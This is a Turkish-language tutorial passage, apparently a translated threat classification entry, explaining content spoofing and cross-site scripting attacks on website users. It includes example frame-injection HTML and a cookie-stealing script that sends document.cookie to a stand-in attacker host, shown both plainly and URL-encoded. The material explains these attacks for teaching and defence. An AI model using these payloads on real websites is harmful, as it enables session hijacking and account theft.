İstemci taraflı saldırı bölümü bir web sitesi kullanıcılarının istismar edilmesi üzerine odaklanır. Saldırgan web sitesini ziyaret ettiğinde, kullanıcı ile web sitesi arasında teknolojik ve psikolojik bir güven kurulur. Kullanıcı web sitesinin geçerli içerik sunmasını bekler. Ayrıca kullanıcı kullanım sırasında web sitesinin kendisine saldırmamasını da bekler. Saldırgan, kullanıcıyı istismar etmek için bir çok teknik kullanarak bu güven ilişkileri ile ilgili beklentileri kendi amacı için kullanır.
İçerik Sahteciliği
İçerik sahteciliği, kullanıcının bir web sitesindeki belirli içeriğin meşru olduğuna ve bu içeriğin harici bir kaynağa ait olmadığına inandırılmasını sağlayan bir saldırı tekniğidir.
Bazı web sayfaları dinamik olarak üretilen HTML içerikleri sunarlar. Örneğin, çerçeve kaynağının yeri (<frame src = “http://foo.example/file.html”>) URL parametre değeri ile belirlenebilir (
http://foo.example/page?frame_src=ht...ple/file.html). Saldırgan “frame_src” parametresinin değerini “frame_src=http://attacker.example/spoof.html” değeri ile değiştirebilir. Sonuç web sayfası servis edildiğinde, web tarayıcısının adres kısmında kullanıcının beklediği alana ait adres bulunur ama yabancı veri (attacker.example) normal içerikle örtülmüştür.
Özel olarak değiştirilmiş linkler, e-posta, anında mesajlar, duyuru panoları mesajları veya XSS saldırısı yollarıyla kullanıcıya gönderilir. Eğer saldırgan kendisi tarafından belirlenmiş kötü içerikli URL adresini kullanıcının ziyaret etmesini sağlarsa, kullanıcı doğru içeriğe ulaşmadığı halde ulaştığına inanır. Kullanıcılar sahte içeriğe güvenirler çünkü tarayıcının adres kısmında “
http://foo.example” adresinin yazılı olduğunu görürler oysa sayfasının HTML çerçevesinin referansı “
http://attacker.example”dır.
Bu saldırı kullanıcı ile web sitesi arasındaki güveni istismar eder. Bu teknik giriş formları, tahrif edilmiş içerik ve yanlış yayın sürüm bilgileri v.b içeren sahte web siteleri oluşturmak için kullanılır.
Örnek
Sahte basın yayını oluşturma. Bir web sitesinin basın web sayfaları için dinamik olarak oluşturulan HTML çerçeveleri kullandığını düşünelim. Kullanıcı aşağıdaki gibi bir bağı ziyaret edecek olsun: (
http://foo.example/pr?pg=http://foo..../01012003.html)
Sonuç web sayfası şu şekilde olur.
Kod Parçacığı:
<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content"
SRC="http://foo.example/pr/01012003.html>
</FRAMESET>
</HTML>
Yukarıdaki örnekte yer alan “pr” web uygulaması, HTML sayfasını statik bir menüden ve dinamik olarak “FRAME SRC” kaynağından oluşturmuştur. “pr_content” frame’i kaynağını istenen basın yayın içeriğini göstermek için URL adresinden “pg” parametresi değişkeni olarak alır. Fakat saldırgan normal URL adresini “
http://foo.example/pr?pg=http://atta...e.html?” adresine çevirir ve “pg” değeri web sunucu tarafından kontrol edilmez ise sonuç HTML sayfası şu şekilde oluşur:
Kod Parçacığı:
<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content" SRC="
http://attacker.example/spoofed_press_release.html"></FRAMESET>
</HTML>
Son kullanıcı, “attacker.example” sahte içeriğinin meşru ve doğru bir kaynaktan geliyormuş olduğunu düşünür.
Referanslar
“A new spoof: all frames-based sites are vulnerable” - SecureXpert Labs
http://tbtf.com/archive/11-17-98.html#s02Siteler Arası (ötesi) Betik Yazma
Siteler arası (ötesi) betik yazma , web sitesinin saldırgan tarafından belirlenen çalıştırılabilir kodu normal bir kullanıcıya göndermesi ve bu kodun kullanıcı web tarayıcısında yüklenerek çalışmasıyla gerçekleşen bir saldırı çeşidir.
Kodun kendisi genellikle HTML/Javascript olarak yazılır ama VBScript, ActiveX, Java, Flash veya tarayıcı tarafından desteklenen başka teknolojilere de çevrilebilir.
Saldırgan, kodunun kullanıcı web tarayıcısında çalışmasını sağladığında, kod sunucu web sitesinin tarayıcı için tanımlı olduğu güvenlik zonu kapsamında çalışacaktır. Bu seviyedeki hak, kodun tarayıcı tarafından erişilen her türlü hassas veriyi okuma, değiştirme ve iletmesine olanak sağlar. XSS saldırısına maruz kalan kullanıcının hesabı çalınır (çerezin ele geçmesi), kullanıcının web tarayıcısı başka bir adrese yönlendirilir veya ziyaret edilen web sitenin sunduğu hileli içerik kullanıcıya gösterilir. XSS saldırıları esasen kullanıcı ile web sitesi arasındaki güven ilişkisini bozar.
İki çeşit XSS saldırısı mevcuttur, kalıcı ve kalıcı olmayan. Kalıcı olmayan saldırılar kullanıcının sahte kod içeren özel olarak değiştirilmiş bağları ziyaret etmesini gerektirir. Bağ ziyaret edildiğinde, URL içine gömülü kod istemci tarafına gönderilir ve kod kullanıcının web tarayıcısında çalışır. Kalıcı XSS saldırılarında ise sahte kodlar belirli bir zaman depolandığı web sitesine sunulduğunda gerçekleşir. Mesaj panoları, web posta mesajları ve web chat yazılımları saldırganın favori hedefleri arasındadır. Şüpheli olmayan kullanıcının herhangi bir bağa tıklamasına gerek yoktur, sadece kodu içeren web sayfasını görmesi yeterlidir.
Örnek
Kalıcı saldırı
Bir çok web sitesi kayıtlı kullanıcıların mesaj yollayabildiği ilan panoları sunarlar. Kayıtlı kullanıcı, ilan göndermek için kendisine yetki veren çerez kullanılarak takip edilir. Eğer saldırgan özel olarak oluşturulmuş JavaScript kod içeren mesaj gönderirse, bu mesajı okuyan kullanıcının çerezleri ve hesabı istismar edilebilir.
Çerez Çalma Kod Parçacığı
********>
document.location= 'http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.coo kie
</SCRIPT>
Kalıcı Olmayan Saldırı
Bir çok web portalı web sitesinin kişiselleştirilmiş bir şeklini sunar ve siteye giren kullanıcıları “<İsminiz> Hoş Geldiniz” gibi bir ifade ile karşılar.
Bazen giriş yapan kullanıcıyı belirleyen veri, URL'nin soru kelimesinde depolanır ve monitörde gösterilir.
Portal URL Örneği
http://portal.example/index.php?sess...u sername=Joe
Yukarıdaki örnekte kullanıcı isminin (“Joe”) URL’de yer aldığı görülmektedir. Oluşan web sayfasında “Joe, Hoş Geldin” mesajı görüntülenmektedir. Eğer saldırgan, kullanıcı ismi alanını çerez çalabilen bir JavaScript kodu yardımıyla değiştirebilirse, kullanıcı hesabının kontrolünü ele geçirme imkanına sahip olabilir.
Çoğu kişi URL’nin içerisine Javascript kodunun gömülü olduğunu gördüğünde şüphelendiğinden saldırganlar çoğunlukla kötü içerikli veriyi URL kodlamasıyla aşağıdaki örnekteki gibi kodlayabilir.
URL kodlamasıyla kodlanmış çerez çalma URL örneği:
http://portal.example/index.php?sessionid=12312312&username=%3C%73%63%72%69%70%74 %3E%64%6F%63%75%6D%65
%6E%74%2E%6C%6F%63%61%74%69%6F %6E%3D%27%68%74%74%70
%3A%2F%2F%61%74%74%61%63%6B%65 %72%68%6F%73%74%2E%65
%78%61%6D%70%6C%65%2F%63%67%69 %2D%62%69%6E%2F%63%6F
%6F%6B%69%65%73%74%65%61%6C%2E %63%67%69%3F%27%2B%64
%6F%63%75%6D%65%6E%74%2E%63%6F %6F%6B%69%65%3C%2F%73
%63%72%69%70%74%3E
Çerez çalma URL örneğinin çözümlenmiş hali:
http://portal.example/index.php?sessionid=12312312&u sername=********>document.locat ion='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.coo kie</script>
Referanslar
“CERT¨ Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests”
http://www.cert.org/advisories/CA-2000-02.html“The Cross Site Scripting FAQ” - CGISecurity.com
http://www.cgisecurity.com/articles/xss-faq.shtml“Cross Site Scripting Info”
http://httpd.apache.org/info/css-security/“24 Character entity references in HTML 4”
http://www.w3.org/TR/html4/sgml/entities.html“Understanding Malicious Content Mitigation for Web Developers”
http://www.cert.org/tech_tips/malici...itigation.html“Cross-site Scripting: Are your web applications vulnerable?”, By Kevin Spett - SPI Dynamics
http://www.spidynamics.com/whitepape...escripting.pdf“Cross-site Scripting Explained”, By Amit Klein - Sanctum
http://www.sanctuminc.com/pdf/WhiteP..._Explained.pdf“HTML Code Injection and Cross-site Scripting”, By Gunter Ollmann
http://www.technicalinfo.net/papers/CSS.html